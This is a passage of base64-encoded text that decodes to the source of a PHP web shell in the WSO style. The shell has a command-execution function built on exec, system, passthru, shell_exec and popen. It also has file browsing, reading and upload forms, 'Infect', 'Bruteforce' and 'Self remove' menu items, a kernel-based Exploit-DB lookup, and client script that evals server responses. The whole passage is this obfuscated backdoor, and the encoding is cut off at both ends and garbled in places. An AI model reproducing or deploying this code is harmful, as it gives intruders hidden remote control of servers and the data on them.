c9JzticmVhazt9cmV0dXJuIGVuYzt9DQoJZnVuY3Rpbgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87DQoJCWlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187DQoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsNCgkJaWYocDIhPWbGwpZC5tZi5wMiYWx1ZT1wMjtlbHNlIGQubWYucDIudmFsdWU9cDJfOw0KCQlpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM1DQoJCWQubWYuYSYWx1ZSA9IGVuY3J5cHQoZC5tZi5hLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQoJCWQubWYuYy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5jLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQoJCWQubWYucDEudmFsdWUgPSBlbmNyeXB0KGQubWYucDEudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsNCgkJZC5tZi5wMi52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMiYWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlkLm1mLnAzLnZhbHVlID0gZW5jcnlwdChkLm1mLnAzLnZhbHVlLCciLiRfQ09PS0lFWkNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQoJCWlmKGNoYXJzZXQhPW51bGwpZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87DQoJfQ0KCWZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJZC5tZi5zdWJtaXQoKTsNCgl9DQoJZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7DQoJCWZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspDQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOw0KCQlzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcGFyYW1zKTsNCgl9DQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDk1LCAxMTAsIDEzMCwgMC4zKTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsnPg0KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+DQo8L2Zvcm0+IjsNCgkkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSAkdGYWxTcGFjZT8kdG90YWxTcGFjZToxOw0KCSRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOw0KCSRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7DQoJJGV4cGxpbmsgPSAnaHR0cDovL1bGxyZWZlci5jb20vP2h0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9uPXNlYXJjaCZkZXNjcmlwdGlvbj0nOw0KCWlmKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpDQoJCSRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2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Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnICIuKCAoIWZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNNYW4nKSk/ICIgb25zdWJtaXQ9XCJyZXR1cm4gZmFsc2U7XCIgIjonJyApLiJFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9ZltdICBtdWx0aXBsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjxiciAgPjwvdGQ+DQoJPC90cj48L3RhYmxlPjwvZGl2Pg0KCTwhLS0gcGFydGljbGVzIC0tPiA8ZGl2IGlkPSdwYXJ0aWNsZXMtanMnPjwvZGl2PjxzY3JpcHQgc3JjPSdodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvcGFydGljbGVzLmpzLzIuMC4wL3BhcnRpY2xlcy5taW4uanMnPjwvc2NyaXB0Pg0KCTxzY3JpcHQ+cGFydGljbGVzSl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ZmVvZigkZikpDQoJCQkk4paWIC49IGZyZWFkKCRmLDEwMjQpOw0KCQlwY2xvc2UoJGYpOw0KCX1lbHNlIHJldHVybiAi4oazIFVuYWJsZSB0byBleGVjdXRlIGNvbW1hbmRcbiI7DQoJcmV0dXJuICgk4paWPT0nJz8i4oazIFF1ZXJ5IGRpZCBub3QgcmV0dXJuIGFueXRoaW5nXG4iOiTilpYpOw0KfQ0KZnVuY3Rpb24gdmlld1NpemUoJHMpIHsNCglpZigkcyA+PSAxMDczNzQxODI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7DQoJZWxzZWlmKCRzID49IDEwNDg1NzYpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7DQoJZWxzZWlmKCRzID49IDEwMjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7DQoJZWxzZQ0KCQlyZXR1cm4gJHMgLiAnIEInOw0KfQ0KZnVuY3Rpb24gcGVybXMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQoJZWxzZSAkaSA9ICd1JzsNCgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQp9DQpmdW5jdGlvbiB2aWV3UGVybXNDb2xvcigkZikgew0KCWlmICghQGlzX3JlYWRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQoJZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOw0KCWVsc2UNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jZjljNDQwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7DQp9DQpmdW5jdGlvbiBoYXJkU2NhbmRpcigkZGlyKSB7DQogICAgaWYoZnVuY3RpbfZXhpc3RzKCJzY2FuZGlyIikpIHsNCiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgIHdoaWxlIChmYWx